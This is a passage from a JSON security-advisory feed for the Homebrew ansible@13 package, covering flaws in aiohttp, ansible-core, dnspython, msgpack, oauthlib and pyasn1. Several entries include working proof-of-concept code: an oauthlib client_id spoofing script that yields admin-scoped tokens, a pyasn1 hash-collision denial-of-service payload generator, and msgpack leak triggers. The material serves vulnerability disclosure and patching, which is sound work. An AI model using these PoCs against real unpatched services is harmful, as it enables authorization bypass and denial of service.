`Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111749","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749","PYSEC-2026-4370"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-111750","published":"2026-10-21T10:34:15Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750","PYSEC-2026-4371"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-11332","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T21:01:56Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.7rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.20.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.20.9","key":"pkg:pypi/ansible-core@2.20.9","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-114605","published":"2026-10-29T23:07:21Z","modified":"2026-11-13T10:44:15Z","upstream":["GHSA-45c3-73f7-pv4m","CVE-2026-114605"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression.  Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-114613","published":"2026-10-29T23:07:21Z","modified":"2026-10-29T23:07:21Z","upstream":["GHSA-j586-36cw-2gc2","CVE-2026-114613"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.3","key":"pkg:pypi/msgpack@1.2.3","resource":"msgpack"}]},"summary":"MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure","details":"### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload)  # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u)  # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-118669","published":"2026-10-31T10:38:15Z","modified":"2026-10-31T10:38:15Z","upstream":["GHSA-7984-qgvg-3j9c","CVE-2026-118669"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"},{"fixed":"13.8.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","details":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/920"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-119194","published":"2026-10-31T10:38:15Z","modified":"2026-10-31T10:38:15Z","upstream":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id & 0x7f]\n    tag_id >>= 7\n    while tag_id:\n        groups.append((tag_id & 0x7f) | 0x80)\n        tag_id >>= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 << 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119194"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-119195","published":"2026-10-31T10:38:15Z","modified":"2026-10-31T10:38:15Z","upstream":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the 